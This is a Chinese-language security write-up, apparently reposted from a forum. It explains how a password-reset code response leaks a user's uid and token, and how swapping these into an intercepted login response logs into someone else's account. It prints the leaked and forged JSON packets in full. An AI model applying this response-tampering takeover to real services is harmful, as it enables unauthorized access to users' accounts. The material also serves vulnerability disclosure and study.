转载:https://www.nosafe.org/thread-333-1-1.html
先来看看这个。
首先,我在登陆时候截取返回包修改id值是无效的,因为有一个token验证,经过多次登陆发现,我自己的手机号对应的是一个token,这个token是不变的。所以脑海中就有了一个思路,只要能够获取到一个手机号,这个手机号对应的id和token值,替换进正确的返回包,说不定就能登陆上去。
也就是我们需要三个条件:
1.该用户的手机号
2.该用户账号的token
3.该用户账号的uid值
这个token只有在密码正确的时候,返回包中才会有。所以我们通过登陆的方式是无法获取到的。后来自己多次测试,发现在重置密码,获取验证码时候抓包截取到的返回包中,非常神奇的有token值和uid。
我这里用18888888888来演示。
上图是获取验证码时候截取到的数据包,我们截取返回包看看。
{"status":"200","data":{"is_success":true,"is_exists":true,"data":{"user_id":6348205,"user_name":"18888888888","nick_name":"\u8fbe\u4ee4_6348418205","token":"ded8d0f713028a8462db4befb4c6d76c","alipay_no":"","avator":"\/mobile\/2015\/02\/13\/14238004473373.png","appname":"","sex":0,"birth_year":0,"birth_month":0,"birth_day":0,"orders":21,"sales":0,"likes":0,"shares":0,"wishes":0,"ctime":1382439889,"source":2,"subsource":0,"utime":1458385205,"uuid":"","push_token":"","read_time":0,"is_new_customers":0,"daily_orders":0,"daily_discount":10,"has_password":1,"uid":6348205,"accesstoken":"ded8d0f713028a8462db4befb4c6d76c"},"exist":true,"has_password":true}}
这一串的返回包中 有18888888888这个账号的token和uid
我用自己的手机号自己的密码登陆截取到的正确的返回包是:
{"status":"200","data":{"uid":"XXX","accesstoken":"XXXX","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}
用XXX表示的就是我们需要改变的
18888888888的uid是6348205 token是ded8d0f713028a8462db4befb4c6d76c
我们带入进去 所以最后得到的返回包为
{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}
这个包 就是用来登陆18888888888这个号的了。。
我们来尝试一下 前台登陆 随便输一个密码 抓包
截取返回包,修改。
改为
{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}
放包,成功登陆。
是不是很神奇呢?